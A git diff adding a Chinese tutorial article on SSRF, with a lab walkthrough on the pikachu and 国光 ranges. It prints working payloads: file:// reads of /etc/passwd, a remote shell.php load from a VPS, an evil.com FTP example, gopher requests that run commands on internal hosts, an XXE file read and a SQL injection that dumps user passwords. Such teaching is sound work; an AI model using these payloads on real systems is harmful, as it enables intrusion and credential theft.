+![](https://mmbiz.qpic.cn/sz_mmbiz_png/BDzX6q5EsXmt8N6jjEeuRAkuqabewUy2kP7fiaLaEqN3S92KBiar5WcVyj083N1utibbkOfiaVDNZ0RCOvYndHh8KQ/640?wx_fmt=png&from=appmsg "") + +参考： + +https://github.com/ricardojoserf/emqx-RCE + + +文章声明：该工具、教程仅供学习参考，请勿非法使用。否则与作者无关！ + + +   + diff --git a/doc/2025-05/SSRF漏洞详细讲解：攻击者是怎么“骗”服务器发起请求的.md b/doc/2025-05/SSRF漏洞详细讲解：攻击者是怎么“骗”服务器发起请求的.md new file mode 100644 index 00000000..0d87d6f9 --- /dev/null +++ b/doc/2025-05/SSRF漏洞详细讲解：攻击者是怎么“骗”服务器发起请求的.md @@ -0,0 +1,1220 @@ +# SSRF漏洞详细讲解：攻击者是怎么“骗”服务器发起请求的 +AegisGuard AegisGuard 2025-05-29 05:58 + +免责声明 + +合法使用原则：文中提及的技术、工具或案例，仅用于授权范围内的安全测试、防御研究或合规技术分享，未经授权的网络攻击、数据窃取等行为均属违法，需承担法律责任。 + +风险自担与责任豁免：文章内容基于公开信息整理，不保证技术的准确性、完整性或适用性。读者需自行评估技术应用风险，若因不当使用导致任何法律后果或损失，均由使用者自行承担，与本公众号及作者无关。 + +法律管辖与提示：本公众号坚决拥护相关法律法规，反对任何危害网络安全的行为，读者需严格遵守法律法规。 +# 一、SSRF漏洞介绍 +- SSRF（Server-Side Request Forgery，服务器端请求伪造）漏洞是一种由攻击者构造请求，由服务端发起请求的安全漏洞。 + +- 攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求，一般情况下，SSRF攻击的目标是外网无法访问的内部系统（正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔离的内部系统）。 + +- 简单来说就是利用服务器的漏洞，以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。 + +- 漏洞产生的原因：通常是因为服务端提供了从其他服务器应用获取数据的功能，但没有对目标地址做足够的过滤和限制 +，导致攻击者可以通过篡改请求的目标地址来伪造请求，从而实现对内网资源的未授权访问。 + +- 从指定URL获取网页文本内容； + +- 加载指定网址的图片； + +- 前提：该站点具备一个对外获取的资源的能力，或者说能够从执行目标获取资源的能力 + +- 攻击目标：一般是从外网无法访问的内部系统（外网打内网）。 + +# 二、SSRF漏洞原理 +- SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能（通过指定的URL，网站可以从其他地方获取图片、下载文件、读取文件内容等），而且没有对目标地址做过滤与限制，使得攻击者可以利用存在缺陷的web应⽤作为代理，攻击其远程和本地的服务器。 + +- 例如，攻击者操作服务端从指定URL地址获取网页文本内容，加载指定地址的图片等，利用的是服务端的请求伪造。 + +- 简单概括就是SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ojAtmvddOF9PRMwPIADYxAtbWaiaIwmSvcYco0EfPFaVQgh5KHsF7eZw/640?wx_fmt=png&from=appmsg "") +# 三、SSRF危害 +- 敏感文件查询：可以通过SSRF漏洞获取网站/服务器本身的文件（/etc/passwd +） + +- 端口扫描：可以利用SSRF漏洞对外网、服务器所在的内网、本地进行端口扫描，获取一些服务的banner信息。 + +- banner信息就是指服务器返回给你的响应头的相关信息（例如：返回过来的状态码，服务版本号等等），通过这些banner信息可以得到一个服务器的端口号、上面安装了哪些服务，以及服务相应的版本等等，从而可以找到相应的漏洞。 + +- 攻击内网应用：攻击者可以利用SSRF漏洞攻击运行在内网或本地的应用程序，因为请求是由服务端发起的，所以服务端可以请求到与其相连但与外网隔离的内部系统。 + +- 指纹识别：攻击者可以利用SSRF漏洞对内网进行指纹识别，识别企业内部的资产信息。 + +- 攻击Web应用：攻击者可以利用SSRF漏洞攻击内外网的Web应用（比如 struts2、sql注入、redis……）。 + +- DOS攻击：请求大文件，始终保持连接keep-alive always + +# 四、伪协议&&作用 +## file:// +- 作用：从文件系统中读取文件内容 + +- 读取敏感文件 + +``` +file:///etc/passwd +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oE0nbHfFLibIa2EaFbutcDkQnd8VQrYAP5ibhJhA4tVEZH5ibszFSMQ5tw/640?wx_fmt=png&from=appmsg "") +- 显示当前网段路由信息 + +``` +file:///proc/net/fib_trie +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01otcwSHcCzCktFzEjfZfOkscibkoEpy8Sarh7ZnibwVZsM9YUzyPiaESzSg/640?wx_fmt=png&from=appmsg "") +## http:// +- 作用：请求/获取/加载资源信息 + +- 允许通过HTTP访问文件或者一些资源（可以结合Burp的Intruder模块进行目录扫描） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oxPozvbeb0TUdnouY8b3mLIbia6jkyWakMTgOk9mgZ7kNb6jYNKIVpMQ/640?wx_fmt=png&from=appmsg "") +- 还可以加载远程恶意文件 + +``` +http://vps ip/shell.php +``` +## dict:// +- 作用：字典服务协议，访问字典资源 + +- 探测3306端口是否开放 + +``` +dict:///ip:3306 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ovibQU9lQYrG8FxHDd1RjRttqMftcaAiavZDsvrJG28gyUnee47teuaVA/640?wx_fmt=png&from=appmsg "") +## gopher:// +- 作用：可以进行GET/POST提交，还可以利用Redis、Fastcgi、Mysql等服务 + +- 基本格式 + +``` +gopher://ip:port/需要提交的内容 +``` +- 默认访问70端口，所以访问时要根据情况改端口号 + +- 监听70端口，使用gopher:// +伪协议提交数据时不加端口号，发现收到数据 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oGqMRktoibgNSylOBZuG3QibDGpicx5tlXD57gxPZmY1Tw0FRX2KVRcO1g/640?wx_fmt=png&from=appmsg "") +- 默认不转发第一个字符，所以使用时可以使用下划线进行占位（gopher://_ip:port/xxxx +） + +``` +nc -lvp 8080 +``` +``` +curl gopher://127.0.0.1:8080/abcd +``` +- 可以看到提交了4个字符，发现只接收到了后面3个 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ormcaqeqEEtIBWrW6ekyYGBO08CK4qYj9icCEaztpibvMy0t74rmicXHRQ/640?wx_fmt=png&from=appmsg "") +## 其它 +- ftp +：文件传输协议 + +``` +ssrf.php?url=ftp://evil.com:12345/TEST +``` +- sftp:// +：安全文件传输 + +``` +ssrf.php?url=sftp://example.com:11111/ +``` +- tftp:// +：简单文件传输协议 + +``` +ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET +``` +- ldap:// +：轻量级目录访问 + +``` +ssrf.php?url=ldap://localhost:11211/%0astats%0aquit +``` +# 五、pikachu靶场代码 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o11Y0JX4TCeY0sDGFOdPPoo9GJialfXvOnypia2MewMJTQngsguo74Ttg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oFnGuiasoJxYJAM5E89790IeFEDaLADZwGWh9LMz6GXtkPkgAliamZ8Eg/640?wx_fmt=png&from=appmsg "") +# 六、国光SSRF靶场 +## file://&&http://伪协议收集内网信息 +- 查看当前网卡IP，判断当前主机所处的内网网段 + +- 此时看到内网存在172网段 + +``` +file:///etc/hosts +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oTwiaDFT98oyCnC8JlOmiad5kTuRZAmmshoGpoJKXJOJicibPibtNN3OYkbA/640?wx_fmt=png&from=appmsg "") +- 查看arp缓存表，寻找内网存活的主机 + +- 使用arp扫内网的好处就是，不需要关心对方是否开了防火墙、是否写了安全策略，只要对方是基于ip协议的机器，通过arp都能探测到 + +``` +file:///proc/net/arp +``` +- 此时只能看到存在一个ip地址，是因为只有与别的机器通信，才会生成相应的arp表 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ogFjUIk2nRTiaumjSYPRsFfRXz431icOT0TE8pIIiaibvuAdBkVysSicIeWA/640?wx_fmt=png&from=appmsg "") +- 猜测内网不会只存在一台机器，如果想要确定内网有哪些主机存活，就需要通过存在SSRF漏洞的机器对内网ip段的所有主机主动发起访问 + +- 通过http伪协议与目标内网的任意ip进行数据通信前，会先发起一个arp请求，如果存活，对方就会回复一个单播的应答 + +``` +http://172.250.250.6  +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oNxHPKc0lSOqFETG3rtNSb5Lq2tUTiaGzkJReeSetMNl5kha0yYayMIw/640?wx_fmt=png&from=appmsg "") +- 此时再次查看arp表，发现多了一个ip（172.250.250.6）且显示了mac地址，说明该主机存活 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ogGibdZelWkjTvgfaXFdLibJD5NopH5ztcW7ma9f5v1iarHNnztQ8opDkg/640?wx_fmt=png&from=appmsg "") +- 但是一个个手动访问效率非常低，所以可以通过Burp的Intruder模块，批量访问目标内网，然后再查看arp表 + +- 访问一个IP地址，然后通过Burp抓包，发送到Intruder + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oL0MfJ6uicEA6FPqVic2AFhdT4jLvCeW1Snr3f3iadVU5yUlnZ16tn9dzw/640?wx_fmt=png&from=appmsg "") +- 将需要批量访问的主机位设置为变量 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oc3jYGow3EshNDQEaSJjjJcgO3icGOSE5C5lk2xlzlS2UnT1sA9Dbapg/640?wx_fmt=png&from=appmsg "") +- 选择Payload类型为数字，范围是1-254，步长为1 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ol2U0sJKqibFx472K6aV0qVLeaQmxNZtzlA21Lqe3daOm1dlcDqzx0YQ/640?wx_fmt=png&from=appmsg "") +- 点击开始爆破 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oe2okSAukWJ6WHhR1uAJvGKrOqxE8rftmpJquBic3SUcjeoMrWjbYYcg/640?wx_fmt=png&from=appmsg "") +- 再次查看arp表，发现内网存活的其它主机 + +- 注意：mac地址为0的说明不存活 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o8ic9tO3ibsFTx4rLevjaH79j1EV2a4uUjZqXb89cHUczp804pic6qic2NQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oic2M8zVNraVdrIMpVW8zJW5ZWJU4YzQhP8sF1S5h3OjUXbwnUPZiboJw/640?wx_fmt=png&from=appmsg "") +## dict://伪协议扫描内网机器开放的端口 +- ftp:// +和http:// +等等伪协议都可以进行端口探测，但是使用dict:// +伪协议速度会更快 + +- 使用Burp来进行快速测试 + +- 先通过dict:// +伪协议访问任意ip的任意一个端口，通过Burp抓包，发送到Intruder + +``` +dict://172.250.250.6:80 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ofJNgFtTrrQUN93ryEwxK5VKNJ6Fmsw8QIa2KdALKlbCIhryOjYnwlw/640?wx_fmt=png&from=appmsg "") +- 将ip的主机位和端口设置为变量，攻击类型设置为Cluster bomb + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oVBrenXjI4tP5h7CBxmBzSJsxGLj0hr52d5tlSNepY3x8LwDVibf8nTg/640?wx_fmt=png&from=appmsg "") +- Payload1的类型设置为数字，范围是1-254，步长为1 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ouATzJq7dZknAWQYVIALPUngWfTKThgtrQTdT9iabY7loukhqicjpgDUA/640?wx_fmt=png&from=appmsg "") +- Payload2的类型设置为Simple list，然后将常见的端口号复制进去 + +``` +80 +443 +3306 +6379 +8080... +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oY7JUOUxxX2f68rQKPjehDkNO0mwibtRaGeiblExufnOBf9E3lmM1EaibA/640?wx_fmt=png&from=appmsg "") +- 点击开始爆破 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oaNWkbuXa1iaBwavicsq34S0icDt8TcJvmIFFjEcML3ZKHVWjGT5QNTFkw/640?wx_fmt=png&from=appmsg "") +- 爆破完以后就可以通过Length来进行判断，哪些主机的哪些端口是开放的 + +- 例如：此处172.250.250.8的3306端口已经开启 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01odyq7qDibsArTibuFzdmcXcEpwgDgXopKlN46rrunXXmaSnaGic3I61HWA/640?wx_fmt=png&from=appmsg "") +## 通过http://伪协议进行文件&&目录扫描 +- 此时访问172.250.250.4，发现只是一个默认页 + +``` +http://172.250.250.4 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oFicZbtbQgzy0f7hJsInpSp0icDu3uJtFKzSKpXaO6voxQ8N6OQic9jEdw/640?wx_fmt=png&from=appmsg "") +- 此时想要知道这个路径下是否存在其它文件，可以在后面拼接一个文件名，然后使用Burp抓包，发送到Intruder + +``` +http://172.250.250.4/index.php +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01obaDGuGYZxrppBSib3r2xBsg05p2VXffR8gRHjKw6Ribt91XD2054ChibQ/640?wx_fmt=png&from=appmsg "") +- 此时将文件名设置为变量 + +- 可以文件名+后缀设置为变量，也可以分别将文件名和后缀设置为变量（后面单独用两个字典跑即可） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oPnl3nT16wWtJ5MJY1SxnDO3yJNQX7wfJXPf8xr8dViaHjebchmqfbOg/640?wx_fmt=png&from=appmsg "") +- 在Payload中粘贴进自己的字典 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o3fuAVKVl1C3KY3KKYyfZoAdDTjbz1ndpIYW0slYAvjYm1WIliaJDMCw/640?wx_fmt=png&from=appmsg "") +- 爆破完成后，即可根据结果判断存在哪些文件 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oHicJ2bvc5GlU0OlhazpgVlTHnSALgBQxdYf6T8g74LQibeiaBwibp5GEpA/640?wx_fmt=png&from=appmsg "") +## gopher://伪协议的Payload构造 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o2rFga5yr5PymELiapPB5TKr9s4u85R6AMOEp0npOcbq08Epf022cQxA/640?wx_fmt=png&from=appmsg "") +- 场景：通过GET和POST方法提交name的值，从而打印在屏幕上 + +- Payload可以参考httpGET和POST的头部 + +### GET方法 +- 方法： + +- 模仿http头部的请求路径信息 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ohf3XDib3gFGJWJVz2Siaglr3X7hK1lkJ6vtLV75Q46y7PVI2kKs0icAeA/640?wx_fmt=png&from=appmsg "") +- 模仿http头部的请求的ip地址 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oRPlEY3p3xLicWsaw0uYoKjjrHvibppicn6BNZPf3xjuZ53PVcVIicic6xibQ/640?wx_fmt=png&from=appmsg "") +- 注意换行符 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o0F4upmysFVXRrnK8TRKwl3DzrkvYiaibCqRtSlx2N1VhibArKRJVhUIrg/640?wx_fmt=png&from=appmsg "") +- 整合得到 + +``` +GET /name.php?name=shit HTTP/1.1 +Host: 172.250.250.4 +``` +- 拼接构造最终Payload + +- 注意空格、换行、问号这些都经过了URL编码 + +``` +gopher://172.250.250.4:80/_GET%20/name.php%3fname=lazy%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oMFzM0V0Y8CH64490OmspLCczYx4KDiafvYW7GSmyfKmxiaibH7qGQLSAw/640?wx_fmt=png&from=appmsg "") +- 除了直接在输入框提交，也可以先用Burp抓包，在Burp发送数据 + +- 先抓包，发送到Repeater + +``` +gopher://172.250.250.4:80/_ +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oDpILmytbEU4erPU8qTiaNoDEaNM3XD2wTpkYpicfvh1b9QMDMSS02AwA/640?wx_fmt=png&from=appmsg "") +- 在Repeater中拼接Payload + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oyMcApEQ3OMibXhDzpCUuUD2YJiaAGXb6fQgDHP48Xx1gPZ4DB5bC4uKw/640?wx_fmt=png&from=appmsg "") +- 将Payload进行两次URL编码 + +- 一次 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ohFhT14RAnoickiaYjRhzlaH5JaqbicFH0vWMcmZRd3TeA0lJ8WnlfMqGw/640?wx_fmt=png&from=appmsg "") +- 两次 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ocicdt7xZqtbImMZeSlmoQOMibgVadC4iciaTSCIpSfYoUFzbyiclAguwfVg/640?wx_fmt=png&from=appmsg "") +- 点击发送，发现提交成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oUl4KIRQ9THwe5VRVAVHiaf7DmXFaVvliaHdbibN2cYRGq16cdjIupEvdA/640?wx_fmt=png&from=appmsg "") +- 此时提交的Payload要经过两次URL编码：原因是存在SSRF的机器会对提交的Payload进行一次解码，接着这台SSRF机器将Payload再次发送到内网的其它机器，这个Payload会再次被URL解码；所以提交的时候需要编码两次，对方才能解码两次，得到原始数据 + +### POST方法 +- 方法： + +- 模仿http头部的请求路径信息 + +- 模仿http头部的ip信息 + +- 模仿http头部的Content-Type字段（根据实际提交的数据类型选择） + +- 模仿http头部的Content-Length字段（根据实际提交数据的长度选择） + +- 同样注意换行 + +- 整合得到 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oIdJMnhibgyFQB5Jy3SF2ArMwoeeibNuksYoQUbTicpGXibrT6zRJxyrY9w/640?wx_fmt=png&from=appmsg "") +- 拼接需要提交的信息得到Payload + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oNcIiaiahxU8j1W6zBHIYu4DQf8ia7jdX9oPcywHlfD7Q17O8R5pXD9UiaQ/640?wx_fmt=png&from=appmsg "") +- 同样使用前面的方法，在Burp中将Payload进行两次URL编码进行，点击发送后发现提交成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oJzJPliayxNIeBlgHuYZU9Yuk5eqhCX9vubgj94SaYyJIkx2AUGxaziaA/640?wx_fmt=png&from=appmsg "") +## RCE1 +- 通过前面信息收集，发现内网172.250.250.4 +主机存在一个页面，可以拼接参数 + +``` +http://172.250.250.4/shell +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oXxwvnCuCSgkVwq0R4UVKNRVQe9XsfnvZypj0DOiaSeYTWSNgnroPmQw/640?wx_fmt=png&from=appmsg "") +- 可以直接在http:// +伪协议后面拼接参数执行命令 + +``` +http://172.250.250.4/shell.php?cmd=ls +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01opVF9TRKBmF4XXJF2Bpr0txYUzTWMJhAt1FKvSS0KddNEfOaGG7WRicg/640?wx_fmt=png&from=appmsg "") +- gopher:// +伪协议发包 + +- 构造gopher:// +伪协议GET请求的Payload + +``` +GET /shell.php?cmd=whoami HTTP/1.1 +Host: 172.250.250.4 +``` +- 然后抓包，发送到Repeater + +``` +gopher://172.250.250.4:80/_ +``` +- 拼接Payload，并且进行两次URL编码，发送后，发现执行成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oDxpTWTY3483ZMByTGNz9AicCzTaXiaH4touQtB7k8yAUdmDJgTR3wia3Q/640?wx_fmt=png&from=appmsg "") +## RCE2 +- 通过信息收集，发现内网主机172.250.250.5 +存在一个网络测试页面 + +``` +http://172.250.250.5 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oP2UQO6UjEVNgalqr0eN2BlghNWnhMGGVib0mfBweTR9Sd2atrwdjVSA/640?wx_fmt=png&from=appmsg "") +- 右键查看源代码，发现当前拼接执行的参数是ip + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oCgwTU3P6RKU5BWUpeHtngLjWMFwBicwrDibVn9FVZV9Z1smPg6H4VhlQ/640?wx_fmt=png&from=appmsg "") +- 先构造gopher:// +伪协议POST请求的Payload + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o7WZHKqjy5TfHHVdUNXNB5v8f5JibkGRY5sZroWev2tiawHGDxqVX8kWw/640?wx_fmt=png&from=appmsg "") +- 然后抓包，发送到Repeater + +``` +gopher://172.250.250.5:80/_ +``` +- 拼接Payload，并且进行两次URL编码，发送后，发现执行成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ocqJ7RuGE05KicUGzGMriaicph0smjSYYOsMgoBmkb3BsvddqusDc7mdhw/640?wx_fmt=png&from=appmsg "") +## XXE漏洞利用 +- 通过内网信息收集，发现内网存在一个用户登录页 + +``` +http://172.250.250.6 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oINyg334VrqKvWDpMZp11vHPJibt4fY6QcFibYrypT4xcppnjmdjbwJiag/640?wx_fmt=png&from=appmsg "") +- 右键查看源代码，发现通过XML格式的传递数据，通过POST提交的方式将输入的用户名密码提交到doLogin.php +这个页面 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oiaJhvDguCahaF4LAZTghJCOI7CrKrn3ia34V4L1YnNYElACrPPmMpZZQ/640?wx_fmt=png&from=appmsg "") +- 先构造gopher:// +伪协议POST请求的Payload（正常请求，提交用户名密码） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oyJiaKzhtRKico5lvuMwr7aSyKv3wpO5NnObIejRHJztfEfEiaqYTEyMhA/640?wx_fmt=png&from=appmsg "") +- 然后抓包，发送到Repeater + +``` +gopher://172.250.250.6:80/_ +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oSSJwkqIRRM9sZQibPs4KiawxhYMtjNWdXf5fCS0aGiboKiawNriaJ6bpHzw/640?wx_fmt=png&from=appmsg "") +- 拼接Payload，并且进行两次URL编码，发送后，发现提交成功 + +- 在源代码可以看出，响应code为1，说明登录成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oqDUhYMWvpDN9N9CDdmOrK30iaRicZgxs4azM472HLk7o6oJIvO07UTjw/640?wx_fmt=png&from=appmsg "") +- 此时构造一个恶意的Payload（文件读取） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01om3MQriah36OyGhwuWegODmafWjToXibY3RCs3w6vtNMwGmIlUHBOHvEA/640?wx_fmt=png&from=appmsg "") +- 再次在Burp拼接Payload，并且进行两次URL编码，发送后，发现文件读取成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oogDVxdW2KybMtoicIenDJ4ZUGzeQDQAOdibTFYVGglK7mhAgthWgoibRA/640?wx_fmt=png&from=appmsg "") +- 补充 + +- DOCTYPE声明：在XML文档中，声明定义了文档类型和文档可以使用的合法元素和属性。这里定义了一个名为root的自定义文档类型。 + +- ENTITY声明：在DOCTYPE声明内部，定义了一个名为lazy的实体。这个实体使用SYSTEM标识符指定了一个URI（统一资源标识符），在这个例子中是file:///etc/passwd。这意味着该实体将尝试从服务器的本地文件系统加载/etc/passwd文件的内容。 + +- 实体引用：在XML文档的标签内，使用了&lazy;，这是一个对之前定义的lazy实体的引用。当XML解析器遇到这个实体引用时，它会用lazy实体所指向的内容替换掉这个引用。 + +## SQL注入漏洞 +- 靶场中存在一个sqllab模块 + +``` +http://172.250.250.11 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oBvWAdASpf6XgybSCHrSdKqraict2iaSAibEVYObEzgRmbKcmickFGHgzUg/640?wx_fmt=png&from=appmsg "") +- 通过加上单引号判断是否存在注入 + +- 发现数据库报错信息，说明存在sql注入 + +``` +http://172.250.250.11/Less-1/?id=1' +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oX97FAxBiawJXUEG94Q5HjuianT4wPkWYcgulfEWu1X1wFwZ6KxL3VTgQ/640?wx_fmt=png&from=appmsg "") +- order by +判断查询列数 + +- 发现列数为3列 + +``` +http://172.250.250.11/Less-1/?id=*1'%20order%20by%203--%20 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oCW0kuxuJyDjd3Tf3XQllkv4aQrmP2FYW3xqhhYErDfQ1DWfZJJWnicA/640?wx_fmt=png&from=appmsg "") +``` +http://172.250.250.11/Less-1/?id=*1'%20order%20by%20--%20 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oBhv6ml2l0un4uApsRChD8cMbtibu2iccoT77UQKF8vxaWuGtvZTk2Xqg/640?wx_fmt=png&from=appmsg "") +- 查询回显位 + +- 发现回显位是2和3 + +``` +http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,2,3--%20 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oAoXrvLH4PYEdeePe1xJlLnLVxo2Uic8q2UBzD1dl9gHqvC5U5m6YxEw/640?wx_fmt=png&from=appmsg "") +- 查询数据库名 + +``` +http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,database(),3--%20 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01od9hGOWDWmywpYCuuf2UUTUHLJUTn9ns1iakRzwPGGV6bQnaCNtA77bw/640?wx_fmt=png&from=appmsg "") +- 查询表名 + +``` +http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%20'security'),3--%20 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oovVOU0O0MmBJo9bZIlDPa38VV9rIBe2cVhVb7TUiaORXwd71EhEPXlw/640?wx_fmt=png&from=appmsg "") +- 查询user +表的字段名（列名） + +``` +http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%20'security'%20and%20table_name='users'),3--%20 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01onO8p4BOUdhgfVsiaibB9tJL7YwxxxqzyvDdU0RWCiax11TC20nU0mLQGA/640?wx_fmt=png&from=appmsg "") +- 查询字段的值（数据） + +``` +http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,group_concat(concat_ws(0x3a,username,password)),3%20from%20security.users--%20 +``` + 